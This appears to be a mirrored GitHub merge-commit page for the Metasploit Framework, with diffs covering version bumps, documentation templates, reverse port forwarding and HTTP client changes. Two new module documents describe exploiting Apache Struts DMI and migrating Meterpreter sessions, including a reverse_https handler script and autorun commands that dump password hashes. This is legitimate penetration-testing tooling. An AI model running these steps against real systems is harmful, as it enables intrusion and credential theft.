1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Merge branch 'master' into staging/rails-upgrade

This commit is contained in:
David Maloney 2016-05-05 10:46:12 -05:00
commit 19af279ce9
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
31 changed files with 982 additions and 245 deletions

View File

@ -1 +1 @@
2.1.9
2.3.1

View File

@ -10,7 +10,7 @@ addons:
- graphviz
language: ruby
rvm:
- '2.1.8'
- '2.3.1'
env:
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true

View File

@ -81,7 +81,7 @@ GIT
PATH
remote: .
specs:
metasploit-framework (4.11.24)
metasploit-framework (4.11.26)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -93,7 +93,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.1.8)
metasploit-payloads (= 1.1.10)
metasploit_data_models
msgpack
network_interface
@ -205,7 +205,7 @@ GEM
loofah (2.0.3)
nokogiri (>= 1.5.9)
metasm (1.0.2)
metasploit-payloads (1.1.8)
metasploit-payloads (1.1.10)
method_source (0.8.2)
mime-types (3.0)
mime-types-data (~> 3.2015)
@ -213,7 +213,7 @@ GEM
mini_portile2 (2.0.0)
minitest (5.8.4)
msgpack (0.7.5)
multi_json (1.11.3)
multi_json (1.12.0)
multi_test (0.1.2)
multipart-post (2.0.0)
network_interface (0.0.1)

View File

@ -23,13 +23,27 @@
document.getElementById('overview_info').style.display = "none";
document.getElementById('knowledge_base').style.display = "inline";
}
function initDoc() {
var kb = document.getElementById('knowledge_base');
var oi = document.getElementById('overview_info');
oi.style.display = "none";
kb.style.display = "inline";
var kb_button = document.getElementById('knowledge_base_button');
var oi_button = document.getElementById('overview_info_button');
kb_button.style.borderColor = "#ccc";
kb_button.style.color = "#333";
oi_button.style.borderColor = "#EEEEEE";
oi_button.style.color = "#C4C4C4";
}
</script>
<% end %>
<style>
<%= load_css %>
</style>
</head>
<body>
<body onload="initDoc()">
<% unless kb.empty? %>
<table border="0">
<tr>

View File

@ -114,8 +114,8 @@ pre code {
padding:10px 5px;
border-style:solid;
border-width:1px;
border-color:#ccc;
color:#333;
border-color:#EEEEEE;
color:#C4C4C4;
}
#knowledge_base_button {
font-family:Arial, sans-serif;
@ -123,15 +123,12 @@ pre code {
padding:10px 5px;
border-style:solid;
border-width:1px;
border-color:#EEEEEE;
color:#C4C4C4;
border-color:#ccc;
color:#333;
}
#overview_info_button:hover, #knowledge_base_button:hover {
cursor: pointer;
}
#knowledge_base {
display: none;
}
#long_list {
height:280px;
overflow:auto;

View File

@ -0,0 +1,56 @@
struts_dmi_exec is a module that exploits Apache Struts 2's Dynamic Method Invocation,
and it supports Windows and Linux platforms.
## Vulnerable Application
Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2.
The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true,
and ```struts.devMode``` to false.
For testing purposes, here is how you would set up the vulnerable machine:
1. Download Apache Tomcat
2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/241784/struts2-blank.tar.gz).
4. Install Java first. Make sure you have the JAVA_HOME environment variable.
5. Extract Apache Tomcat.
6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
7. In tomcat-users.xml, add this role: ```<role rolename="manager-gui"/>```
8. In tomcat-users.xml, add this role to user tomcat: ```<user username="tomcat" password="tomcat" roles="tomcat,manager-gui"/>```
9. Remove other users.
10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
11. Extract the vulnerable struts app: ```tar -xf struts2-blank.tar.gz```
12. Navigate to the Apache Tomcat server with a browser on port 8080.
13. Click on Manager App
14. In the WAR file to deploy section, deploy struts2-blank.war
15. Stop struts2-blank in the manager app.
16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-blank/WEB-INF/classes```, open struts.xml with a text editor.
17. In the XML file, update ```struts.enable.DynamicMethodInvocation``` to true
18. In the XML file, update ```struts.devMode``` to false.
19. Back to Apache Tomcat's manager app. Start the struts2-blank again.
And now you have a vulnerable server.
## Options
**TMPPATH**
By default, the struts_dmi_exec exploit should be ready to go without much configuration. However,
in case you need to change where the payload should be uploaded to, make sure to set the correct
target, and then change the TMPPATH datastore option.
## Scenarios
struts_dmi_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java, so
you don't need to worry about configuring this. Running the module can be as simple as the usage
explained in the Overview section.
However, native payload do have their benefits (for example: Windows Meterpreter has better
support than Java), so if you decide to switch to a different platform, here is what you do:
1. Do ```show targets```, and see which one you should be using
2. Do ```set target [id]```
3. Do ```show payloads```, which shows you a list of compatible payloads for that target.
4. Do: ```set payload [payload name]```
5. Do: ```exploit```

View File

@ -0,0 +1,67 @@
## Overview
This module evaluates a Windows Meterpreter session's privileges and migrates the session accordingly. The purpose of this module is to enable the scripting of migrations post exploitation, which allows you to immediately run post modules that require system rights.
You can use this module in situations where incoming sessions may have mixed rights levels and the session needs to be migrated appropriately for additional post modules to run. It is also useful in situations where migration needs to occur within a short period after the session is created.
The types of migrations that occur are described below:
- A session with admin rights is migrated to a system owned process.
- A session with user rights is migrated to a user level process. If a specified user level process is not running, the module will spawn it and then migrate the session.
This module is a nice addition to the beginning of an autorun script for post-Meterpreter session creation. An example of an autorun script is provided below.
## Module Options
- **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights.
- **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes.
- **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE.
## Module Process
Here is the process that the module follows:
- Retrieves the privilege information for the current session.
- If the session has admin rights, it attempts to migrate to a system owned process in the following order:
- ANAME (Module option, if specified)
- services.exe
- winlogon.exe
- wininit.exe
- lsm.exe
- lsass.exe
- If it is unable to migrate to one of these processes, it drops to user level migration.
- If the session has user rights, it attempts to migrate to a user owned process in the following order:
- NAME (Module option, if specified)
- explorer.exe
- notepad.exe
- If it cannot migrate, it attempts to spawn the process and migrates to the newly spawned process.
## Using This Module with AutoRun Scripts
The use of autorun scripts with this module is an easy way to automate post-exploitation for incoming Meterpreter sessions. The following section describes the basic setup information and provides a script example to show how this module comes in handy.
### Basic Setup Information
Resource file (.rc) scripts can be used to automate many processes in Metasploit, particularly starting up the console and running scripts once a session is created.
Startup scripts are executed using the following example where startup.rc is the startup script, and it is located in the user's home directory. Startup scripts are executed once the Metasploit Framework is loaded.
```
./msfconsole -r /home/user/startup.rc
```
The following is an example startup script that fires up a Meterpreter listener and specifies an autorun script that will be executed when a new session is created. In this example auto.rc is the script to be run after session creation.
```
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.1.101
set LPORT 13002
set ExitOnSession false
set AutoRunScript multi_console_command -rc /home/user/auto.rc
exploit -j
```
### AutoRun Script Example
This example is a script that will use priv_migrate to migrate the session based on session rights. After migration, it executes modules that will retrieve user password hashes and cached domain hashes. Each one of the hash dump modules requires system rights to be successful. Priv_migrate makes it possible to execute these modules in an autorun script. For sessions with user rights, the hash dump modules will fail, but that is unlikely to impact the state of the session.
```
run post/windows/manage/priv_migrate
run post/windows/gather/hashdump
run post/windows/gather/cachedump
```

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.11.24"
VERSION = "4.11.26"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -304,6 +304,36 @@ def scanner_show_progress
end
end
def add_delay_jitter(_delay, _jitter)
# Introduce the delay
delay_value = _delay.to_i
original_value = delay_value
jitter_value = _jitter.to_i
# Retrieve the jitter value and delay value
# Delay = number of milliseconds to wait between each request
# Jitter = percentage modifier. For example:
# Delay is 1000ms (i.e. 1 second), Jitter is 50.
# 50/100 = 0.5; 0.5*1000 = 500. Therefore, the per-request
# delay will be 1000 +/- a maximum of 500ms.
if delay_value > 0
if jitter_value > 0
rnd = Random.new
if (rnd.rand(2) == 0)
delay_value += rnd.rand(jitter_value)
else
delay_value -= rnd.rand(jitter_value)
end
if delay_value < 0
delay_value = 0
end
end
final_delay = delay_value.to_f / 1000.0
vprint_status("Delaying for #{final_delay} second(s) (#{original_value}ms +/- #{jitter_value}ms)")
sleep final_delay
end
end
end
end

View File

@ -1,4 +1,5 @@
# -*- coding: binary -*-
require 'uri'
require 'digest'
require 'rex/proto/ntlm/crypt'
@ -370,24 +371,47 @@ module Exploit::Remote::HttpClient
return res unless res && res.redirect? && redirect_depth > 0
redirect_depth -= 1
location = res.redirection
return res if location.nil?
opts['redirect_uri'] = location
opts['uri'] = location.path
opts['rhost'] = location.host
opts['vhost'] = location.host
opts['rport'] = location.port
if location.scheme == 'https'
opts['ssl'] = true
else
opts['ssl'] = false
end
return res if res.redirection.nil?
reconfig_redirect_opts!(res, opts)
send_request_cgi!(opts, actual_timeout, redirect_depth)
end
# Modifies the HTTP request options for a redirection.
#
# @param res [Rex::Proto::HTTP::Response] HTTP Response.
# @param opts [Hash] The HTTP request options to modify.
# @return [void]
def reconfig_redirect_opts!(res, opts)
location = res.redirection
if location.relative?
parent_path = File.dirname(opts['uri'].to_s)
parent_path = '/' if parent_path == '.'
new_redirect_uri = normalize_uri(parent_path, location.path.gsub(/^\./, ''))
opts['redirect_uri'] = new_redirect_uri
opts['uri'] = new_redirect_uri
opts['rhost'] = datastore['RHOST']
opts['vhost'] = opts['vhost'] || opts['rhost'] || self.vhost()
opts['rport'] = datastore['RPORT']
opts['ssl'] = ssl
else
opts['redirect_uri'] = location
opts['uri'] = location.path
opts['rhost'] = location.host
opts['vhost'] = location.host
opts['rport'] = location.port
if location.scheme == 'https'
opts['ssl'] = true
else
opts['ssl'] = false
end
end
end
#
# Combine the user/pass into an auth string for the HTTP Client
#

View File

@ -802,7 +802,7 @@ class Core
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
print_status("Please wait, generating documentation for #{mod.shortname}")
Msf::Util::DocumentGenerator.get_module_document(mod)
Msf::Util::DocumentGenerator.spawn_module_document(mod)
else
print(Serializer::ReadableText.dump_module(mod))
end

View File

@ -236,6 +236,9 @@ class WindowsError
PROCESS_MODE_NOT_BACKGROUND = 403
INVALID_ADDRESS = 487
# Socket stuff
ADDRESS_IN_USE = 10048
#
# Return a string representation of the constant for a number
#
@ -687,6 +690,8 @@ class WindowsError
"The process is not in background processing mode."
when INVALID_ADDRESS
"Attempt to access invalid address."
when ADDRESS_IN_USE
"The address/port is already in use."
else
"#{code}"
end

View File

@ -113,7 +113,9 @@ class Channel
# Transmit the request and wait for the response
response = client.send_request(request)
cid = response.get_tlv(TLV_TYPE_CHANNEL_ID).value
cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
return nil unless cid
# Create the channel instance
channel = klass.new(client, cid, type, flags)

View File

@ -599,15 +599,15 @@ class ClientCore < Extension
def shutdown
request = Packet.create_request('core_shutdown')
# If this is a standard TCP session, send and return
if not client.passive_service
self.client.send_packet(request)
else
if client.passive_service
# If this is a HTTP/HTTPS session we need to wait a few seconds
# otherwise the session may not receive the command before we
# kill the handler. This could be improved by the server side
# sending a reply to shutdown first.
self.client.send_packet_wait_response(request, 10)
else
# If this is a standard TCP session, send and forget.
self.client.send_packet(request)
end
true
end

View File

@ -79,14 +79,8 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
def self.open(client, params)
c = Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS,
[
{
'type' => TLV_TYPE_LOCAL_HOST,
'value' => params.localhost
},
{
'type' => TLV_TYPE_LOCAL_PORT,
'value' => params.localport
}
{'type' => TLV_TYPE_LOCAL_HOST, 'value' => params.localhost},
{'type' => TLV_TYPE_LOCAL_PORT, 'value' => params.localport}
] )
c.params = params
c
@ -135,14 +129,18 @@ protected
def _accept(nonblock = false)
result = nil
channel = @@server_channels[self].deq(nonblock)
begin
channel = @@server_channels[self].deq(nonblock)
if channel
result = channel.lsock
end
if channel
result = channel.lsock
end
if result != nil && !result.kind_of?(Rex::Socket::Tcp)
result.extend(Rex::Socket::Tcp)
if result != nil && !result.kind_of?(Rex::Socket::Tcp)
result.extend(Rex::Socket::Tcp)
end
rescue ThreadError
# This happens when there's no clients in the queue
end
result

View File

@ -46,62 +46,65 @@ class Console::CommandDispatcher::Stdapi::Net
# Options for the route command.
#
@@route_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
'-h' => [false, 'Help banner.'])
#
# Options for the portfwd command.
#
@@portfwd_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-l" => [ true, "The local port to listen on." ],
"-r" => [ true, "The remote host to connect to." ],
"-p" => [ true, "The remote port to connect to." ],
"-L" => [ true, "The local host to listen on (optional)." ])
'-h' => [false, 'Help banner.'],
'-i' => [true, 'Index of the port forward entry to interact with (see the "list" command).'],
'-l' => [true, 'Forward: local port to listen on. Reverse: local port to connect to.'],
'-r' => [true, 'Forward: remote host to connect to.'],
'-p' => [true, 'Forward: remote port to connect to. Reverse: remote port to listen on.'],
'-R' => [false, 'Indicates a reverse port forward.'],
'-L' => [true, 'Forward: local host to listen on (optional). Remote: local host to connect to.'])
#
# Options for the netstat command.
#
@@netstat_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-S" => [ true, "Search string." ])
'-h' => [false, 'Help banner.'],
'-S' => [true, 'Search string.'])
#
# Options for ARP command.
#
@@arp_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-S" => [ true, "Search string." ])
'-h' => [false, 'Help banner.'],
'-S' => [true, 'Search string.'])
#
# List of supported commands.
#
def commands
all = {
"ipconfig" => "Display interfaces",
"ifconfig" => "Display interfaces",
"route" => "View and modify the routing table",
"portfwd" => "Forward a local port to a remote service",
"arp" => "Display the host ARP cache",
"netstat" => "Display the network connections",
"getproxy" => "Display the current proxy configuration",
'ipconfig' => 'Display interfaces',
'ifconfig' => 'Display interfaces',
'route' => 'View and modify the routing table',
'portfwd' => 'Forward a local port to a remote service',
'arp' => 'Display the host ARP cache',
'netstat' => 'Display the network connections',
'getproxy' => 'Display the current proxy configuration',
'resolve' => 'Resolve a set of host names on the target',
}
reqs = {
"ipconfig" => [ "stdapi_net_config_get_interfaces" ],
"ifconfig" => [ "stdapi_net_config_get_interfaces" ],
"route" => [
'ipconfig' => ['stdapi_net_config_get_interfaces'],
'ifconfig' => ['stdapi_net_config_get_interfaces'],
'route' => [
# Also uses these, but we don't want to be unable to list them
# just because we can't alter them.
#"stdapi_net_config_add_route",
#"stdapi_net_config_remove_route",
"stdapi_net_config_get_routes"
#'stdapi_net_config_add_route',
#'stdapi_net_config_remove_route',
'stdapi_net_config_get_routes'
],
# Only creates tcp channels, which is something whose availability
# we can't check directly at the moment.
"portfwd" => [ ],
"arp" => [ "stdapi_net_config_get_arp_table" ],
"netstat" => [ "stdapi_net_config_get_netstat" ],
"getproxy" => [ "stdapi_net_config_get_proxy" ],
'portfwd' => [],
'arp' => ['stdapi_net_config_get_arp_table'],
'netstat' => ['stdapi_net_config_get_netstat'],
'getproxy' => ['stdapi_net_config_get_proxy'],
'resolve' => ['stdapi_net_resolve_host'],
}
@ -123,14 +126,21 @@ class Console::CommandDispatcher::Stdapi::Net
# Name for this dispatcher.
#
def name
"Stdapi: Networking"
'Stdapi: Networking'
end
#
# Displays network connections of the remote machine.
#
def cmd_netstat(*args)
if args.include?('-h')
@@netstat_opts.usage
return 0
end
connection_table = client.net.config.netstat
search_term = nil
@@netstat_opts.parse(args) { |opt, idx, val|
case opt
when '-S'
@ -141,26 +151,23 @@ class Console::CommandDispatcher::Stdapi::Net
else
search_term = /#{search_term}/nmi
end
when "-h"
@@netstat_opts.usage
return 0
end
}
tbl = Rex::Ui::Text::Table.new(
'Header' => "Connection list",
'Header' => 'Connection list',
'Indent' => 4,
'Columns' =>
[
"Proto",
"Local address",
"Remote address",
"State",
"User",
"Inode",
"PID/Program name"
],
'SearchTerm' => search_term)
'Columns' => [
'Proto',
'Local address',
'Remote address',
'State',
'User',
'Inode',
'PID/Program name'
],
'SearchTerm' => search_term)
connection_table.each { |connection|
tbl << [ connection.protocol, connection.local_addr_str, connection.remote_addr_str,
@ -168,9 +175,9 @@ class Console::CommandDispatcher::Stdapi::Net
}
if tbl.rows.length > 0
print("\n" + tbl.to_s + "\n")
print_line("\n#{tbl.to_s}")
else
print_line("Connection list is empty.")
print_line('Connection list is empty.')
end
end
@ -178,8 +185,14 @@ class Console::CommandDispatcher::Stdapi::Net
# Displays ARP cache of the remote machine.
#
def cmd_arp(*args)
if args.include?('-h')
@@arp_opts.usage
return 0
end
arp_table = client.net.config.arp_table
search_term = nil
@@arp_opts.parse(args) { |opt, idx, val|
case opt
when '-S'
@ -190,21 +203,17 @@ class Console::CommandDispatcher::Stdapi::Net
else
search_term = /#{search_term}/nmi
end
when "-h"
@@arp_opts.usage
return 0
end
}
tbl = Rex::Ui::Text::Table.new(
'Header' => "ARP cache",
'Header' => 'ARP cache',
'Indent' => 4,
'Columns' =>
[
"IP address",
"MAC address",
"Interface"
],
'Columns' => [
'IP address',
'MAC address',
'Interface'
],
'SearchTerm' => search_term)
arp_table.each { |arp|
@ -212,9 +221,9 @@ class Console::CommandDispatcher::Stdapi::Net
}
if tbl.rows.length > 0
print("\n" + tbl.to_s + "\n")
print_line("\n#{tbl.to_s}")
else
print_line("ARP cache is empty.")
print_line('ARP cache is empty.')
end
end
@ -226,7 +235,7 @@ class Console::CommandDispatcher::Stdapi::Net
ifaces = client.net.config.interfaces
if (ifaces.length == 0)
print_line("No interfaces were found.")
print_line('No interfaces were found.')
else
ifaces.sort{|a,b| a.index <=> b.index}.each do |iface|
print("\n" + iface.pretty + "\n")
@ -242,20 +251,23 @@ class Console::CommandDispatcher::Stdapi::Net
def cmd_route(*args)
# Default to list
if (args.length == 0)
args.unshift("list")
args.unshift('list')
end
# Check to see if they specified -h
@@route_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print(
"Usage: route [-h] command [args]\n\n" +
"Display or modify the routing table on the remote machine.\n\n" +
"Supported commands:\n\n" +
" add [subnet] [netmask] [gateway]\n" +
" delete [subnet] [netmask] [gateway]\n" +
" list\n\n")
when '-h'
print_line('Usage: route [-h] command [args]')
print_line
print_line('Display or modify the routing table on the remote machine.')
print_line
print_line('Supported commands:')
print_line
print_line(' add [subnet] [netmask] [gateway]')
print_line(' delete [subnet] [netmask] [gateway]')
print_line(' list')
print_line
return true
end
}
@ -264,21 +276,20 @@ class Console::CommandDispatcher::Stdapi::Net
# Process the commands
case cmd
when "list"
when 'list'
routes = client.net.config.routes
# IPv4
tbl = Rex::Ui::Text::Table.new(
'Header' => "IPv4 network routes",
'Header' => 'IPv4 network routes',
'Indent' => 4,
'Columns' =>
[
"Subnet",
"Netmask",
"Gateway",
"Metric",
"Interface"
])
'Columns' => [
'Subnet',
'Netmask',
'Gateway',
'Metric',
'Interface'
])
routes.select {|route|
Rex::Socket.is_ipv4?(route.netmask)
@ -287,23 +298,22 @@ class Console::CommandDispatcher::Stdapi::Net
}
if tbl.rows.length > 0
print("\n" + tbl.to_s + "\n")
print_line("\n#{tbl.to_s}")
else
print_line("No IPv4 routes were found.")
print_line('No IPv4 routes were found.')
end
# IPv6
tbl = Rex::Ui::Text::Table.new(
'Header' => "IPv6 network routes",
'Header' => 'IPv6 network routes',
'Indent' => 4,
'Columns' =>
[
"Subnet",
"Netmask",
"Gateway",
"Metric",
"Interface"
])
'Columns' => [
'Subnet',
'Netmask',
'Gateway',
'Metric',
'Interface'
])
routes.select {|route|
Rex::Socket.is_ipv6?(route.netmask)
@ -312,37 +322,37 @@ class Console::CommandDispatcher::Stdapi::Net
}
if tbl.rows.length > 0
print("\n" + tbl.to_s + "\n")
print("\n#{tbl.to_s}")
else
print_line("No IPv6 routes were found.")
print_line('No IPv6 routes were found.')
end
when "add"
# Satisfy check to see that formatting is correct
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
print_error "Invalid IP Address"
return false
end
when 'add'
# Satisfy check to see that formatting is correct
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
print_error "Invalid IP Address"
return false
end
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
print_error "Invalid Subnet mask"
return false
end
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
print_error 'Invalid Subnet mask'
return false
end
print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}")
client.net.config.add_route(*args)
when "delete"
# Satisfy check to see that formatting is correct
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
print_error "Invalid IP Address"
return false
end
when 'delete'
# Satisfy check to see that formatting is correct
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
print_error 'Invalid IP Address'
return false
end
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
print_error "Invalid Subnet mask"
return false
end
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
print_error 'Invalid Subnet mask'
return false
end
print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}")
@ -357,28 +367,34 @@ class Console::CommandDispatcher::Stdapi::Net
# network. This provides an elementary pivoting interface.
#
def cmd_portfwd(*args)
args.unshift("list") if args.empty?
args.unshift('list') if args.empty?
# For clarity's sake.
lport = nil
lhost = nil
rport = nil
rhost = nil
reverse = false
index = nil
# Parse the options
@@portfwd_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
when '-h'
cmd_portfwd_help
return true
when "-l"
when '-l'
lport = val.to_i
when "-L"
when '-L'
lhost = val
when "-p"
when '-p'
rport = val.to_i
when "-r"
when '-r'
rhost = val
when '-R'
reverse = true
when '-i'
index = val.to_i
end
}
@ -394,7 +410,13 @@ class Console::CommandDispatcher::Stdapi::Net
# Process the command
case args.shift
when "list"
when 'list'
table = Rex::Ui::Text::Table.new(
'Header' => 'Active Port Forwards',
'Indent' => 3,
'SortIndex' => -1,
'Columns' => ['Index', 'Local', 'Remote', 'Direction'])
cnt = 0
@ -402,62 +424,143 @@ class Console::CommandDispatcher::Stdapi::Net
service.each_tcp_relay { |lhost, lport, rhost, rport, opts|
next if (opts['MeterpreterRelay'] == nil)
print_line("#{cnt}: #{lhost}:#{lport} -> #{rhost}:#{rport}")
direction = 'Forward'
direction = 'Reverse' if opts['Reverse'] == true
if opts['Reverse'] == true
table << [cnt + 1, "#{rhost}:#{rport}", "#{lhost}:#{lport}", 'Reverse']
else
table << [cnt + 1, "#{lhost}:#{lport}", "#{rhost}:#{rport}", 'Forward']
end
cnt += 1
}
print_line
print_line("#{cnt} total local port forwards.")
if cnt > 0
print_line(table.to_s)
print_line("#{cnt} total active port forwards.")
else
print_line('No port forwards are currently active.')
end
print_line
when 'add'
when "add"
if reverse
# Validate parameters
unless lport && lhost && rport
print_error('You must supply a local port, local host, and remote port.')
return
end
# Validate parameters
if (!lport or !rhost or !rport)
print_error("You must supply a local port, remote host, and remote port.")
return
begin
channel = client.net.socket.create(
Rex::Socket::Parameters.new(
'LocalPort' => rport,
'Proto' => 'tcp',
'Server' => true
)
)
# Start the local TCP reverse relay in association with this stream
service.start_reverse_tcp_relay(channel,
'LocalPort' => rport,
'PeerHost' => lhost,
'PeerPort' => lport,
'MeterpreterRelay' => true)
rescue Exception => e
print_error("Failed to create relay: #{e.to_s}")
return false
end
else
# Validate parameters
unless lport && rhost && rport
print_error('You must supply a local port, remote host, and remote port.')
return
end
# Start the local TCP relay in association with this stream
service.start_tcp_relay(lport,
'LocalHost' => lhost,
'PeerHost' => rhost,
'PeerPort' => rport,
'MeterpreterRelay' => true,
'OnLocalConnection' => Proc.new { |relay, lfd| create_tcp_channel(relay) })
end
# Start the local TCP relay in association with this stream
service.start_tcp_relay(lport,
'LocalHost' => lhost,
'PeerHost' => rhost,
'PeerPort' => rport,
'MeterpreterRelay' => true,
'OnLocalConnection' => Proc.new { |relay, lfd|
create_tcp_channel(relay)
})
print_status("Local TCP relay created: #{lhost || '0.0.0.0'}:#{lport} <-> #{rhost}:#{rport}")
print_status("Local TCP relay created: #{lhost}:#{lport} <-> #{rhost}:#{rport}")
# Delete local port forwards
when "delete"
when 'delete', 'remove', 'del', 'rm'
# No local port, no love.
if (!lport)
print_error("You must supply a local port.")
return
found = false
unless index.nil?
counter = 1
service.each_tcp_relay do |lh, lp, rh, rp, opts|
if counter == index
lhost, lport, rhost, rport = lh, lp, rh, rp
reverse = opts['Reverse'] == true
found = true
break
end
counter += 1
end
unless found
print_error("Invalid index: #{index}")
end
end
# Stop the service
if (service.stop_tcp_relay(lport, lhost))
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
if reverse
# No remote port, no love.
unless rport
print_error('You must supply a remote port.')
return
end
if service.stop_reverse_tcp_relay(lport)
print_status("Successfully stopped reverse TCP relay on :#{lport}")
else
print_error("Failed to stop reverse TCP relay on #{lport}")
end
else
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
# No local port, no love.
unless lport
print_error('You must supply a local port.')
return
end
# Stop the service
if service.stop_tcp_relay(lport, lhost)
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
else
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
end
end
when "flush"
when 'flush'
counter = 0
service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
next if (opts['MeterpreterRelay'] == nil)
if (service.stop_tcp_relay(lport, lhost))
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
if opts['Reverse'] == true
if service.stop_reverse_tcp_relay(lport)
print_status("Successfully stopped reverse TCP relay on :#{lport}")
else
print_error("Failed to stop reverse TCP relay on #{lport}")
next
end
else
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
next
if service.stop_tcp_relay(lport, lhost)
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
else
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
next
end
end
counter += 1
@ -470,13 +573,13 @@ class Console::CommandDispatcher::Stdapi::Net
end
def cmd_portfwd_help
print_line "Usage: portfwd [-h] [add | delete | list | flush] [args]"
print_line 'Usage: portfwd [-h] [add | delete | list | flush] [args]'
print_line
print @@portfwd_opts.usage
end
def cmd_getproxy
p = client.net.config.get_proxy_config()
p = client.net.config.get_proxy_config
print_line( "Auto-detect : #{p[:autodetect] ? "Yes" : "No"}" )
print_line( "Auto config URL : #{p[:autoconfigurl]}" )
print_line( "Proxy URL : #{p[:proxy]}" )

View File

@ -393,7 +393,17 @@ class ClientRequest
# Return the content length header
#
def set_content_len_header(clen)
return "" if clen == 0 || opts['chunked_size'] > 0 || (opts['headers'] && opts['headers']['Content-Length'])
if opts['method'] == 'GET' && (clen == 0 || opts['chunked_size'] > 0)
# This condition only applies to GET because of the specs.
# RFC-7230:
# A Content-Length header field is normally sent in a POST
# request even when the value is 0 (indicating an empty payload body)
return ''
elsif opts['headers'] && opts['headers']['Content-Length']
# If the module has a modified content-length header, respect that by
# not setting another one.
return ''
end
set_formatted_header("Content-Length", clen)
end

View File

@ -30,7 +30,7 @@ class LocalRelay
# in.
#
def on_other_data(data)
if (relay.on_other_data_proc)
if relay.on_other_data_proc
relay.on_other_data_proc.call(relay, self, data)
else
put(data)
@ -55,7 +55,7 @@ class LocalRelay
# value of the callback should be a Stream instance.
#
def on_local_connection(relay, lfd)
if (relay.on_local_connection_proc)
if relay.on_local_connection_proc
relay.on_local_connection_proc.call(relay, lfd)
end
end
@ -63,7 +63,6 @@ class LocalRelay
attr_accessor :relay
end
###
#
# This class acts as an instance of a given local relay.
@ -85,14 +84,14 @@ class LocalRelay
def shutdown
begin
listener.shutdown if (listener)
listener.shutdown if listener
rescue ::Exception
end
end
def close
begin
listener.close if (listener)
listener.close if listener
rescue ::Exception
end
listener = nil
@ -107,12 +106,51 @@ class LocalRelay
end
###
#
# This class acts as an instance of a local relay handling a reverse connection
#
###
class ReverseRelay < Relay
def initialize(name, channel, opts = {})
self.name = name
self.listener = nil
self.opts = opts
self.on_local_connection_proc = opts['OnLocalConnection']
self.on_conn_close_proc = opts['OnConnectionClose']
self.on_other_data_proc = opts['OnOtherData']
self.channel = channel
if !$dispatcher['rex']
register_log_source('rex', $dispatcher['core'], get_log_level('core'))
end
end
def shudown
# don't need to do anything here, it's only "close" we care about
end
def close
self.channel.close if self.channel
self.channel = nil
end
attr_reader :channel
protected
attr_writer :channel
end
#
# Initializes the local tcp relay monitor.
#
def initialize
self.relays = Hash.new
self.rfds = Array.new
self.rev_chans = Array.new
self.relay_thread = nil
self.relay_mutex = Mutex.new
end
@ -153,8 +191,8 @@ class LocalRelay
end
#
# Stops the thread that monitors the local relays and destroys all local
# listeners.
# Stops the thread that monitors the local relays and destroys all
# listeners, both local and remote.
#
def stop
if (self.relay_thread)
@ -170,16 +208,44 @@ class LocalRelay
}
}
# Flush the relay list and read fd list
# make sure we kill off active sockets when we shut down
while self.rfds.length > 0
close_relay_conn(self.rfds.shift) rescue nil
end
# we can safely clear the channels array because all of the
# reverse relays were closed down
self.rev_chans.clear
self.relays.clear
self.rfds.clear
end
##
#
# Adding/removing local tcp relays
# Start a new active listener on the victim ready for reverse connections.
#
##
def start_reverse_tcp_relay(channel, opts = {})
opts['__RelayType'] = 'tcp'
opts['Reverse'] = true
name = "Reverse-#{opts['LocalPort']}"
